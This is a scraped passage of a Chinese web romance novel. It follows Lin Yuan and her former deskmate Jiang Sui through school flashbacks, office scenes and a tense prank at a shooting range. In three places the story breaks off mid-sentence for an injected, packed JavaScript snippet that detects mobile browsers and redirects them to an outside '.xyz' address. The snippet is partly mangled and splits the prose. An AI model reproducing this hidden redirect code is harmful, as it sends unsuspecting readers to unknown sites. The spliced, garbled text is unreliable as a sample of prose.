终于踏进自己班级,老师还没来,林鸢挑了个靠走廊的,班级中后段的靠窗位置。 两张课桌拼起的双人位,她坐进去。 若是双人位,她总喜欢捡靠窗或靠里的坐。譬如公交车,譬如食堂。如果有陌生人想坐,无需征求她的意见叫她借过。 还没领书,林鸢拿出带来的单词本,摊上课桌,心不在焉地默读。 身边没消片刻,笼下个人影,椅子被拉开,一股有些熟悉的,少年特有的,夹杂着皂香的味道袭来。 少女心跳一漏,机械地转头。 却看见他视线若有似无地,扫过她刚剪短的马尾——像戗秃的鸡尾巴似的一搓头发。 莫名其妙的没来由的羞恼,让她脸上似乎还余留着刚刚走廊上的怒气和窘迫。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769063|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛在问:你为什么要坐在这里。 少年没恼,反忽地轻笑起来,细碎气息在他胸腔间起伏,仿若窗外槐叶摆弄的碎光。 林鸢听见他说:“我就认识你啊。” 慵懒的,带着点儿不拘形迹的随性,却好似异常笃定的声音。 “我……”心跳陡然,林鸢像被人蓦地握住尾巴的猫,一身不甚柔软的毛要炸不炸,警惕地看着他,“我们什么时候认识了?” “嗯?”少年漂亮的眉眼微扬,戏谑般浅笑,“刚刚在走廊上冲我发火的,不是你吗?” 林鸢怔愣,有些羞窘,有些庆幸,又有点儿没来由的失望。 她其实,不是第一次见他。 她见过他。 那个马背上的,小白杨一样的少年。 她庆幸比如今更窘迫的林鸢,没有叫他记住。又似乎失望于——原来那样的自己,真的毫不起眼。 转过僵硬的脖子,林鸢没再理他。 后来的后来,林鸢问过他:“明明班里也有你认识的同学。”一中的初中部,也有很多考上一中的。 那厮漫不经意:“我坐下之前,的确只认识你。” “……行吧。”她勉强接受般。 却不知道为什么,有种奇怪而隐秘的,小小的欢喜。 ………… “就是没位置了,然后他就别无选择,坐在了我旁边。”林鸢一脸“就是这么乏善可陈”地对她说。 “就这?”余一欣很不服气地梗起脖子。 “对啊,不然你以为呢?”林鸢笑,想去拿酒壶,指节却有些不自觉的麻木,她捏了捏手。 “……”余一欣无语,拿起烫热的黄酒,给她倒了满满一杯。 林鸢和她碰杯,笑着抿了一口。 俩人喝到最后,林鸢还没多少感觉——她酒量莫名很好,还没试探出自己的底线。 当然不放心这样的醉鬼自己回家。 结账后,林鸢拦了辆车,将余一欣塞进后座,又跟着上去。余一欣已经困得不行,一下把脑袋磕到她腿上,和从前上学时喝醉了一样。 林鸢有些好笑,和司机说了地址,将她脑袋放好。 余一欣往她怀里蹭了蹭,找了个舒服的姿势,安静下来。 车行半路,睡得迷迷糊糊的女孩子,突然叫她。 “小林子。” “嗯?” “我要回家了,”怀里的女孩像梦呓,呢喃道,“我以后,不待在北城了。对不起……” 林鸢一滞,心脏有一瞬的空虚。 许久后,林鸢抬手,温柔地将她贴到脸上的,潮湿的碎发掠到耳后。 车厢电台里,那首余一欣最喜欢的粤语歌放至尾声。 ——善良人埋藏着最坏的心眼,妄想一天你们会散,会选我吗? “嗯,回家吧。”林鸢缓缓地,轻拍着她背,低声道,“以后,好好的。” - 车到了余一欣租住的胡同,林鸢勉强将人叫醒扶下车。 付了钱,架着她往家去。 可是醉鬼的思维,通常不以常理出牌。 “小林子!”醉鬼突然立正,像她们大一军训时,一本正经对着棵斑秃的大槐树叫她。 林鸢憋着笑配合:“在!” “我发现你这个人哦……”余一心抬起没被她控制的那只手臂,蜷曲着食指点点“她”。 “嗯?我这么个人怎么了?”林鸢搀住她,积极回应。 “你这个人啊……你这个人,真的,太要面子了……”余一欣踉跄着往前一扑,抱住“她”。 “你一定……也有喜欢的人吧?但你不说……从不说……” “你不老实……”她摸摸“她”,没有用力,“一点都不老实……” “你谁都不告诉……谁都不告诉……” 余一欣念到最后,人再次迷糊进她怀里。 林鸢不知道自己从哪一句开始,没有再给她回应。 喝醉的人,沉得和减肥失败了一样。 大学那会儿轻松将余一欣公主抱的林鸢,此刻却无声地手忙脚乱起来。 片刻后,林鸢背着明天醒来,就会回到熟悉的家乡、熟悉的城市、熟悉的亲人身边的女孩儿,踏在北城仲秋的胡同间。 裹着落叶萧然味的夜风灌进鼻腔,像粗糙的叶缘,刮得她从喉管到肺腔一阵钝痛。 林鸢却突然笑了下。 她就是这么一个嘴硬、不老实、又死要面子的人啊。 毕竟,她可是连自己都能骗的林鸢。 她其实有点儿看不清路,却无来由地庆幸。 无比庆幸。 喜欢江随,是除了她那本丢失的日记外,全世界都无人知晓的秘密。 9. 第 9 章 不知道是她难搞的名声吓到了中间人,还是连红娘手里都没货了,林鸢终于过了两天消停日子。 却在周一上班时,遇到了不速之客。 科创园里大楼高矮错落,齐柏租赁的只是其中某栋的某层三间。不像有些大公司,一整栋楼都是自己的,老板自然有专用电梯。 因此,林鸢走进他们那栋大楼大厅,看着从地下车库升上来的电梯轿门打开,站在靠壁处鹤立鸡群的男人时,眨巴了两下眼。 一个不成型的念头从脑袋里冒出来。 等电梯的人从她身边鱼贯而过,林鸢顿在原地,看着电梯门阖上前,那个一开始就同她对视上的男人微侧头,舔了舔唇,笑意莫名。 “……”林鸢坚决等下一班。 这栋楼公司很多,八个电梯分别直达不同的楼层,林鸢看着那趟去23楼的电梯重新下来,门打开,微愣住。 男人站在电梯里,低头看了眼按键,抬起手。 应该是摁住了开门键,陆续有人进去。 林鸢内心复杂地顿在原地,不知道要不要走进去。 “我不着急。”男人慢腾腾地抬头,在最后一个人进去前,笑意懒散对她说。 仿佛只要她还在一楼,他就能把电梯当跳楼机上上下下坐着玩儿。 半电梯的人,唰地朝她看过来。 这厮长成那副模样,本来就惹眼得很。站那儿不出声,都引得人频频侧目,此刻吊儿郎当地来了这么一句,更是招得人八卦兴起。 上一趟电梯那么挤,都有女孩子拿出手机默默举起。 林鸢都怀疑晚上上社交软件,能刷到“求海底捞”的帖子。 “……”算了下时间,林鸢绷着脸走进去,和他对角线。 俩人一前一后,在23楼出电梯。 过道里。 “你就打算这么,一直不理我了?”身后,男人懒声问她。 林鸢不作声。 “万一我成了你老板呢?” 林鸢一顿,江随跟上来。 “大不了辞职,哪里还没资本家了?”林鸢面无表情地说。 江随垂眼盯着她,低低的笑意从胸腔里溢出来:“就这么不待见我?” 林鸢无话可说,撇过头继续往前走。 身后脚步声依旧。 “你来真的啊?”林鸢停步,忍不住问。 江随扬眉:“不行吗?” “你一个做游戏的,要参股我们这样的公司做什么?”林鸢无语。 “李想家只卖房子?”江随问得疑惑。 “……” 李想家做房地产起家的,商场物业影院皆有涉资,从前他们还一起去他家游乐场玩儿过。 行。她孤陋寡闻理解不了有钱人的世界行不行? 林鸢认输,也不再磨蹭,快步向前。 本想在他之前先进公司,结果还没碰到玻璃门把手,一双骨节分明的手就提前撑到了她身前。 熟悉的气息笼罩,甚至有若有似无的温度,林鸢心脏都一跳,竟有种做贼心虚的紧张感。 赶紧看了眼自己工位的方向,还好,今天杜莱还没来。 但别的同事自是双眼发亮,一屋子八卦气息。 林鸢顶着一束束闪亮的视线,神色镇定地走上工位。 大概是没料到江随这个时间就会来,林鸢听见江随进了谢松柏办公室,谢松柏才急忙站起来说了什么。 隔了百叶窗的玻璃门关上了,林鸢没听清。 没多久,杜莱风风火火踩着点冲进门打卡,气喘吁吁到了林鸢身边,看了眼紧闭的办公室门,掏出包里的三明治开始啃。 看来是早饭都没吃。 林鸢拿上她和自己的水杯,上茶水间胶囊机摁了两杯咖啡,回工位时,工作群里的销售之一艾特她,让她改下有组项目的界面,说是甲方爸爸觉得太素。 林鸢秒回收到。 齐柏给她的职位头衔是UI设计师,但干的基本是美工的活儿。 甲方爸爸通常对技术是没数的,能做的就是反复调整功能需求,对看得见的东西指指点点,和销售提出想要修改的地方,销售再和她反馈。 工作起来,林鸢没想那么多,改得认真,身体不自觉地前倾靠近电脑屏幕。 直到马尾蓦地被人一扯,她人下意识坐直。下一秒才反应过来,回头去看。 “走了。”身后男人行调懒散,低头和她说。 林鸢忍不住撇抿了下嘴,没说话。 江随却抄着兜,没事儿人似的来了句:“别趴着,眼睛还要不要了。” 说完,要笑不笑的唇线抿着,微偏下颌指了指她屏幕,示意她继续就行。 “……”你看我像要送你的样子吗? 林鸢一个字没说,回转过身,手上继续,背却挺直了。 早就双眼发光的杜莱,转头抻长脖子看着江随出去,海豹似的拍打起林鸢胳膊:“卧槽!小林子这谁啊?!你居然认识这种品相的帅哥,你还相个屁的亲啊?!” “……”林鸢胳膊好痛。 她不知道谢师哥和江随聊得如何,但想到以后有可能的交集,干脆坦诚:“我高中同学,也是北理校友。” 杜莱闻言,一脸“怪不得怪不得”的表情,兴奋地低声跟她叽叽喳喳,问东问西。 林鸢挑能说的都回了,杜莱这才知道俩人高中还是同桌。 “小林子,老实交代,”杜莱的八卦之心得到满足,嬉皮笑脸,“当年上学的时候,有没有偷偷暗恋过?” 林鸢一顿,手指头摁住鼠标挪了挪,无所谓道:“你看我像会搞暗恋的人吗?” “也是。”杜莱想了想,“小林子你看着挺乖的吧,但我总觉得你应该是那种,真喜欢了就敢上,管它能不能成,先试试再说,不行就撤,也不会死缠烂打的性格。” 林鸢眨巴了下眼,觉得她说得很有道理,认同地点点头。 “用你们那儿的话说就是,”杜莱抿了抿嘴,一脸坏笑,“莽戳戳的。” 林鸢:“……?” 两个女孩子折腾了会儿,摸鱼结束,继续工作。 脸上还挂着笑,林鸢点开电脑屏幕上Axure的小图标,手上动作未停,脊背却不自觉地又抻直了些。 林鸢有个坏习惯,写字时坐着坐着,就容易倾身趴下去,两只脚在凳子底下靠后,踮起脚尖苦苦支撑。 高一开学后第二次月考,江随坐在她后面。 做到英语阅读理解时,她的老毛病又犯了。扒着试卷沉浸答题,脚心却隔着鞋底,突地被什么东西抵了抵。 林鸢吓了一跳,心脏都蹦了下,脚一缩,下意识回头去看。 却见身后靠着椅背的少年,慢腾腾地挑眉,随后伸手,在她眼皮子底下,严丝合缝地把卷子答案覆上。 “?”林鸢眼睛都瞪大。 “好好考,别东张西望啊。”讲台上,监考老师咳了咳。 “!”林鸢快怄死,气呼呼地转过头,继续考试。 “别趴着。”下一瞬,少年在她身后,轻扯了下她发尾,懒声低道。 ………… 那次月考后,老师加班加点,第二天就出了成绩。 拿到英语试卷的第一刻,江随就将他的卷子抻到了她这边。 鲜红的76,阅读理解全是C。 男孩子懒洋洋地睨着她:“知道我为什么不给你看了吧?” 那副“你冤枉了我怎么赔吧”的痞劲儿,林鸢看得拳头都发紧。却又竟有难以言状的,莫名甜意。 唇角下意识地浅翘,又被淡淡的涩味压下去。 其实林鸢也觉得,自己应该是杜莱口中那样的人。 可后来才明白,心动这种事,哪有什么应不应该。 - 林鸢不知道江随和谢师哥的合作谈得如何,也没有去问。 但看谢师哥最近的表情,公司资金应该是没什么问题。 只是几天后,午休茶水间里。 “旗和集贸市场的能源监测系统不给我们做了?为什么?”林鸢接水的杯子一晃,一下反应过来,“不会是因为……” “不做就不做,”谢松柏挑着架子上的小零食,“有那样的负责人,就算拿了项目,后期沟通交付也是个麻烦事儿,丢了不可惜。” 林鸢捧着刚接的温水。 李彤云那事儿回来之后,她就和谢松柏说了个大概,就怕对方有什么故意苛难,谢松柏一头雾水。 旗和集贸市场是旗和区最大的农贸市场,隶属旗和集团,重点民生单位。 这一单项目,光后期的维护费用,就是个长期稳定的现金源。 原以为没动静,这事儿就算过去了,没想到对方居然能劝动上面改合作方。 也不知道用了什么办法。 “要不……”林鸢抿了抿唇,“我去和孙经理道个歉吧。” 不是能不管不顾的未成年了,她是来上班的,不是来当大爷的,谢师哥讲原则,可公司也要正常运作。一码归一码。 “不用,”谢松柏扯开包薯片,“阎王好见小鬼难缠。你去也……” 薯片声咔嚓进嘴,谢松柏目光落到林鸢身后,“嗯?江师……” 称呼未尽,林鸢就听见那把总带着散漫笑意的嗓子,刮上薄刃似的丝丝凉意,在她脖子斜后方不轻不重地说:“那走吧,带你去道歉。” 林鸢慢腾腾地转过脑袋。 男人穿了条深蓝色的阔腿牛仔裤,黑色的连帽风衣夹克宽宽松松地罩着,露出一截霾灰色T恤下摆,短发没太多打理,有几缕随意耷拉在眉骨上,浓发里架了副黑色墨镜。外套拉链明明规规矩矩地拉至顶端,还是潮得她膝盖发软。 脸色却难得淡淡的,眼里没什么笑意地看着她。 林鸢莫名有点儿怵,随即又反应过来,试探道:“……你这是?” 刚还很有原则的谢松柏,立马变节:“小林,那你就跟咱们大股东去吧,看看情况,回来再说。” “……”林鸢眼皮一跳。 - 地下车库。 江随是自己开车来的,一辆黑色揽胜。 林鸢大学的时候坐过,也好奇他这么恣行无忌的一个人,怎么会选这样的车。 他说因为低调。 两三百个w的低调。挺好的。 林鸢自己打开后座门,熟门熟路,坐上驾驶员后排。 江随没什么表情地扫了她一眼,没说话,坐进驾驶室。 车子开出去,林鸢想问问他是不是直接去旗和集贸市场,又在看见车内后视镜里他黑超一戴的冷淡脸色时,默默闭上了嘴。 背靠在座椅上,林鸢盯着正前方的大太阳眯了眯眼睛,慢腾腾地把自己滑下去,力求在后视镜里看不见他。 可坐着坐着,又觉得不太对味。 不提这么一笔单子对江随来说,是不是看得上,就这厮的脾气,也不是会道歉的人啊。 ……不会是公报私仇吧? 一路无言,车子拐进下一个停车场,林鸢却有点儿懵。 不是旗和集贸,而是一处综合商圈。可能另约了地方?林鸢猜测。 俩人下车,江随终于开口说了第一句话。 “行,在我这儿随心所欲,上别人那儿低声下气。”墨镜被他扔在了车里,他看着她,语气又恢复了吊儿郎当的模样,甚至翘起唇角点了点下颌,“挺好。” 林鸢:“……”有点儿心虚是怎么回事。 俩人很快进了一家射击馆,在前厅登记。 实.弹射击,相关部门都有备案,只接待成年人。 大一军训时,最后有个项目是实.弹打靶,江随带她来练过。 原因无他,军训考核成绩虽然不算进学分,但优秀学员在评奖学金时可以加分。 林鸢奇怪的是,虽然今天非周末,但馆里人也不至于这么少吧? 还没想明白,就被江随拉了进去。 场馆里,射击场的老板秦湛叼了根没点的烟,正在整理弓箭,看见她来,抬头朗笑,和她打了声招呼。 林鸢认得他,乖乖叫了声“湛哥”,还有他旁边的同伴小徐。俩人都比江随大了十来岁。 孙经理果然已经在了,站在那里,只是神色略怪异。林鸢调整好心态和表情开口:“孙经……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769064|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人还没喊完整,就被江随拉着从他面前过去。林鸢没反应过来,人已经站在了射击道玻璃窗口,脑袋上罩下个耳包。 还被身后的人调整了下耳罩位置。 手里被塞进一把格.洛.克时,林鸢人都懵懵的。 像程序调试阶段,操作员摁下一个指令,她就运行一个反应。 江随站在她身后,指节包住她手掌,手臂抬起,瞄准20米开外的人形环靶,食指扣在她指背上,低声问:“教过你的还记得吗?” 他下颌轻蹭到她发心,林鸢有点儿莫名,但如此亲密的姿势,还是叫她和当年一样,心猿意马地不由自主,脖颈皮肤发热,不太自然地撇了撇脖子。 不知道是不是她这个小动作,让江随以为她在点头,下一秒,没有任何预兆,她只感受到食指被人一扣。 强大的后坐力没让她往后,反倒牢牢锢在他怀里,身边电子显示屏,机械女音报数10环。 林鸢在这一刻是茫然的。 她从前来玩儿过,知道只有弹.夹空着时,这东西才会在工作人员的看顾下,让客人拿在手里摆拍把玩。因此刚刚江随那样,她才没太在意。 但现在…… “来,”身后男人仿佛无事发生,话音里勾着笑,掌着她手与整个人,朝某处平移,不紧不慢地说道,“道歉吧。” 林鸢狠狠干咽了一口,瞳孔有一瞬间的收缩,心脏跳得耳膜都鼓动。 她僵愣愣地顿在原地,肌肉绷紧,不敢有任何动作,生怕一丁点儿动静,就有什么意外。 孙经理膝盖猛地一软,张口想说点儿什么,愣是一个音节都发不出。嗓子干卡着,像做噩梦时喊不出声。 “嗳嗳嗳,怎么了这是?”本来抄着手站一边的小徐,一把将人从身后拉住,皮笑肉不笑地调侃道,“大清都亡了多久了,可不兴这一套了啊。” 早已腿软的男人,一把将自己挂在小徐身上,嘴动得像甩上岸的鱼,全没了平时趾高气昂的高调模样。 终于知道进来前,旁边这男的叫他去上个厕所,别喝水是为什么了。 “二公子……”不成调的话音在对上林鸢身后目光时,转了好几道,“林小姐,误会,都是误会,您别着气儿,我……” 林鸢都没听清孙经理在说什么,只看见他软成一滩,嘴巴在动。 心跳挤在耳罩里,咚咚咚地在脑袋边敲。 身后人还不放过她,头低下来,声音隔着耳包,低闷闷地笑,问她:“还道歉吗?” 细碎笑意震得她手指微颤。 林鸢人都麻了。 又惊又无语,懵得想爆粗口。 “……江随,你,”深深深呼吸,林鸢听见自己说,“你别动,千万别动,你先松开我。” 声线镇定地发着颤。 而他却又问:“还道歉吗?” 林鸢咬牙:“……不了。”还道他大爷的歉!! 手终于被他握着放下,江随侧转身站到她面前,将她与旁人隔开。 林鸢蜷了蜷空掉的、僵硬的手指,咽下干涸的喉头,一把扯开耳罩磕在窗口边,撑着台沿儿哑声问:“疯了?” 男人勾着唇扫了她一眼,低头,利落将弹.夹卸开。 空的。 “……” 林鸢努力深呼吸了好几次,将卡顿在一节节肋骨间的空气吸上来。捏了捏拳头,也不看他,撇开身就要走。 人却像当年在教学楼走廊里一样,被他欺身一步挡住。 手腕被人握着,江随低笑,不让她走,语气放诞:“这不是你总生气,我不知道怎么办吗。” 林鸢完全不想理他,硬扯着自己的胳膊想从他手里挣开,却被他一把拽到了隔壁射击道。 “那你报仇,”他拉过道口铁链上那把,掉转头,塞她手里,笑意轻淡,说的话却肆无忌惮,“我绝不躲,行不行?” 干燥灼.热的掌心包裹住她手背,冰凉硌人的金属挤在她手心里,又坚.硬.抵.住他心口骨肉的感觉,让林鸢头皮都麻得一痛。 林鸢不确定锁在射击道口铁链上的这把,弹.夹里是不是空的,她只知道当年来这练习,按了实.弹的,都是锁在铁链上的。 此刻神经绷到一触即断的焦灼心慌,才叫她知道,刚刚的紧张也不过如此。 “我……我不生气,不气了,你别动,你千万……”林鸢押着狂奔的心跳,滚着干燥的喉头,努力放缓语气,轻声和缓同他说,“你松手,你慢慢的,别动,放开。” “真不气了?”江随真的没动,只微低侧头,满眼专注地问她。 “……” 我他妈还敢气吗?!能不能别发疯?!林鸢内心疯狂尖叫。 但她没说,怕这厮病得更重。 “不气了,你慢慢的,”努力干咽,“放下来,好吗?” “真的?” “……真的。”林鸢是彻底没脾气了。 林鸢都不知道孙经理是什么时候被秦湛和小徐送出去的,甚至都有点儿迷糊自己是怎么坐到沙发上的。 这会儿捏紧汗湿的手心,心脏还在狂跳。 她不笑孙经理没用了,她此刻腿也软得像被捶过。 她也是真的想大声问他一句:“江随你他妈是不是真的有病?!” 但她居然没那个力气。 “吓着了?”男人笑得没心没肺,走过来,低头问她。 林鸢有气无力地抬头,想瞪他,又怕他再发疯。干脆撇开眼,压着呼吸,不看他。 江随俯下.身,安抚似的和她说:“别怕,闹着玩儿呢,都空的。”末了,又没什么说服力地添了一句,“放心吧,我有分寸。” 这时候了,还是一副玩世不恭的语气,林鸢恨恨地不想理他,笼罩在脑袋上方的影子却矮了下来。 男人手掌撑在她沙发两侧,单膝微曲蹲到她身前,整个将她圈固住的姿态,抬头看他。 平时因为身量高,总微耷着眼皮看人的桃花眼,此刻扬着长睫,漆黑的瞳仁明亮潋滟。 “那你刚刚说不生气了。”懒洋洋的语气,竟有种耍赖的意味,低声要求,“不能骗我。” 10. 第 10 章 ——“不能骗我。” 林鸢微愣,心脏像被他微粝的指腹揩了把,激起一阵轻微的痛意和无法忽视的柔软。 脸孔却还是硬邦邦地板着。 她真是要怄死了。 怎么会有人疯成这样。连自己的安危都是能拿来随机开玩笑的? 但仔细想想,这人的疯病也是有迹可循。 就好比当年,明明英语好得能做第二母语,偏考试都喜欢随机碰运气。伤得英语老师每次都一脸心碎地来问他,是不是对他哪里不满意。 明知道一中那次评优有领导要来,他第二天偏顶着一头银发来学校。痞得无法无天,帅得人神共愤。掀得本来就暗潮汹涌的一帮女孩子,更是翻起阵阵热浪。惹得领导惊讶侧目,气得校长呼哧带喘。 明明可以去更好更顶尖的高校,偏说不想努力,靠数竞保送了北理。愁得年级主任唉声叹气,直言少了个囊中top2。 更别提来者不拒的群架,流水似的女友…… 思绪一顿,林鸢闭了闭眼睛,越想越气。 她原以为那样的江随已经够浑,没想到远不是他的极限。 看着面前玩世不恭沈腰潘鬓的一张脸,林鸢捏了捏拳头,撑着他肩膀,猛地推了他一把,站起来居高临下,恶狠狠地说:“你下回再这样试试!” 江随没防备,或者说压根无所谓,任着她的力道,跌坐到地上。 下回再这样。 还有下回。 行,那就是不气了。 江随也不急着站起来,就那么微曲着腿,手掌撑着身后的大理石,仰面看着她笑,伸出一只手:“站不起来,拉我一把。” “不要,脏死了。”林鸢手一背,故意嫌弃道。 “那可不能够啊小林妹妹,”小徐在一边捧哏似的,“我早上可是趴着擦干净的。” 江随笑得胸腔微震,一手支着地,一手伸去拉住她外套袖子,讨好似的拽了拽:“待会儿一起去洗手。” 林鸢憋着那股又气又后怕的劲儿,没好气地拉了他一把。 随后也没管他站起来要去哪里,自己蹬蹬蹬地往洗手间去。 江随不紧不慢地想跟上,秦湛没怎么收力地捶了他肩一拳:“你小子!” 江随没注意,借势让了下,还是被他捶得侧退了半步。也不恼,吊儿郎当地笑。 秦湛无语,知道这小子行事毫无章法,但没想到他连自己都能拿来开玩笑。 他就能确定弹.夹里都是空的?他可没和他说过! 天知道当年跟着陆靖出任务受伤,都没想过后事的他,那一瞬心蹦得连墓碑上要刻哪句座右铭都想好了。 可看江随这没心没肺的样儿,知道说什么都没用,秦湛只能长出口气,缓了缓意犹未尽的心慌,无奈点点他:“你要真有点儿什么,我拿十个小徐赔给你哥都不够。” 小徐:“?” “她不会。”原以为不会得到江随任何回应的秦湛一愣,看见他撩了眼林鸢走开的方向,又道, “我谁都能不信。”仍是懒散无状的形姿,却像不可置噱,“但她不会。” - “哥,随儿跟那姑娘,到底怎么个意思?”等人都走了,小徐跟着秦湛重新检查每个射击道口的设备,忍不住问他。 “好奇?”秦湛低眼咬着没点的烟,手上装卸弹.夹的动作行云流水,“好奇你刚怎么不问他?” 小徐乐:“哥你这话说的。”他就算和秦湛关系好,也在陆靖手底下待过,但也知道自己几斤几两,哪敢厚着脸皮打听江随的感情生活。 他就是纯好奇。看着能把命都交人姑娘手里,但又不和人家好。就挺神奇的。 难道男女之间真有这样感天动的纯友谊? 秦湛瞄了他一眼,痞痞笑了声,建议道:“你不如自己找个姑娘试试,免得一天到晚跟着我,别人误会。” 小徐:“?” 小徐见问不出个所以然,没再缠着他。 秦湛思绪却有些飘。 如今负伤退伍的他,曾是陆靖手里的兵。陆靖比江随大十岁,算起来,他也能说一声是看着江随长大的。 如今的陆家,陆老爷子已经过世,陆叔在西北,常年不着家。老太太鹤年高寿,别说在陆家是说一不二的存在,在许多地方许多场合,说话也依旧有分量。 而兄弟俩在港城的那位生母,他是从没见过的。 但陆家当年的事儿,他倒是多少听说些。 ——“你们陆家的,那位姓江的二公子。” 年轻那会儿,陆靖没少为别人用意有所指的语气说出这句话,和人干过架,受过罚。 他以为这么多年过去,江随其实早不在意。 但没想到,那些事,能让他说出——“我谁都能不信”,这样的话来。 秦湛甚至确信,他不是在开玩笑。 - 回去的车上,林鸢仍坐在后排。 此刻心跳终于平稳下来,她却有些情绪极致推高后的,深深的惘然。 说起来,江随平时,其实是个挺简单的人。 上学时,和他们穿一样的校服,周五自由日,也是简简单单的牛仔裤T恤。学校周边的小店,吃起来也毫无嫌弃。 只要有基本的干净舒适,他好像也不太像许多有钱人家的孩子,样样极尽奢侈。 大概也正是那样,才让她觉得他们之间……或许也并非完全不可能。 可刚刚的江随,活像个无法无天的公子哥。 只有这种时候,林鸢才会深刻地体会到,他们不一样。 林鸢有时候常会想,自己为什么会喜欢江随呢? 只因为他长得好看,还有对她若有似无的“特殊”? 也不全是。 而是因为,她知道自己这些年来维持的,只是表面乖巧。 谁都需要她“安分”,需要她“懂事”。而其实,她内心渴盼的,从来是无拘和自由。甚至是,偶尔出格的叛逆。 而江随,笑起来玩世不恭,走路漫不经心,随意一撩眼,都能刺激她的心跳和神经。 张扬恣肆,随性而为,似乎任何事,都可以毫不在意。 就仿佛是,她自己活不成这样的人,那她就喜欢这样的。 ………… “怎么不高兴?”后视镜里,江随扫了她一眼,开口问。 林鸢回神,看了眼后视镜里视线落到前方的江随。 她突然觉得,其实很多时候,他挺容易发现她细微的情绪变化的。 那她那些试探和纠结,他能感受到吗?他又知道吗? 林鸢一顿,有些不敢去想。 于是她问了另一个,或许也是让她情致不高的问题:“要惩罚坏人,只能用更大的权力吗?” 江随微怔了瞬,薄薄的眼睑半耷下来。半晌,轻挑了下眉,没说什么。 - 车子开进园区,快到他们楼下时,江随没有开进地下车库,说还有事,让她自己上去。 林鸢点点头,“嗯”了声,有些不知道该说什么。 他们和好了。那么然后呢? 继续做朋友吗? 车子停下,林鸢打开车门跳下去,江随也跟着下来了。 林鸢不明所以,看着他说:“那,再见。” 不知道是不是她这副惘惘的模样逗乐了他,江随笑了声,低头和她说:“别去相亲了。” 林鸢微愣,心底某一处的跃跃欲试,又晃动如水草般。 轻咽了口,她克制着声调,状似平常地反问:“为什么不让我相亲?” 江随有一瞬极细微的停顿,随即翘了翘唇角,声线略低,似轻喃:“你值得更好的。” 心跳陡然不争气地快起来,她有种想要豁出去的,仿佛誓要知道答案的紧迫感。 看着他漆黑的眼睛,林鸢克制地舔了舔干涸的唇,咽了口,低问:“谁是更好的?” 话音未落,她看见他微垂的长睫,轻颤了下。 随即沉默。 一秒。 两秒。 其实也不过数秒的间隔,正常人聊天,也会有的偶尔停顿,可在林鸢这里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14769065|157803||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,仿佛过了漫长的地球演化。 直到江随手机突兀地响起。 他无声笑了笑,低头去拿外套口袋里的手机。 一目了然的备注。 韩知希。 江随却没有立刻接,任由手机在手心里震动。 震得她心口都发麻。 林鸢笑了笑,极力克制,想用正常的语气对他说话,却抑制不住夹杂了一丝虚张声势般的兴奋:“你接电话啊。” 江随撩了她一眼,喉间低“嗯”了声,说:“等我。” 然后侧身,绕过车身,去到越野车另一边。 “没事你说。” “行。我会帮你去看的。” “好。放心吧。” …… 你看,只要韩知希需要,只要韩知希回头,江随永远会站在原地等她,给予她回应。 谁说江随浪荡又花心呢。他明明专一得很。 林鸢不想听他们说了什么,转过身,脚步自然地往大楼里去。 这通电话来得及时,救了江随,让他不用面对自己咄咄逼人的无聊问题。 他对初恋念念不忘,又千方百计地要和她“和好”。 原来他对这份“友情”,竟如此重视呢。 又是这样,总是这样。 每一次的试探,仿佛终归能回到原点。 回到他们还是朋友的状态。 身后脚步声袭来。 男人轻“啧”了声,揽了下她肩,看她停住,说:“不是叫你等我?” 林鸢停住,抬头看他。 “我刚说的话记住没?”江随像是心情不错,一改刚刚的沉默,笑意慵懒又随性地同她说。 林鸢盯着他。 “江随,我挺好奇的其实。”她弯起唇角,用天然柔顺的话音,配上最乖巧的语气。 “你说你喜欢韩知希,就算她当年出国要暂时和你分手,但她叫你等她,你就乖乖在国内等她。她哪天回来,你就能二话不说地凑上去。她需要你帮忙,你甚至不用问任何缘由。你说这样的感情,到底是靠什么支撑的呀?会不会有一天就突然失灵了?哪天她回头一看,你不在原地等她了,她该多伤心?” 江随一愣。 林鸢知道她说得难听。 这何尝又不是在说她自己。 终于。 林鸢终于看见他脸上闲适的表情有所松动。 这一刻,林鸢仿佛在这个游戏人间的男人脸上,看到了短暂的、克制不住的慌乱、迷惘和犹疑。 她早就试图用这些话撩拨起他的情绪,妄想以此看到他的难堪,撕开他的游刃有余,仿佛这样,他们才能在某一刻有平等的交集。 她以为这样,她会觉得爽快的。 可此刻当真看到了,那难堪却毫不犹豫地,尖锐地戳进自己身体里,疼得她喉头都发苦。 让她觉得自己既恶毒,又可怜。 “江随,”她努力深呼吸了一口,咽下喉间哽痛,趁他还没回神叫他,语气平淡道,“其实毕了业大家各奔东西也挺正常的,你也没必要非得和从前上学那会儿似的关照我。显得你这人挺念旧情的。” 默了两秒,又着重,“没必要。” 江随回神,看向她。 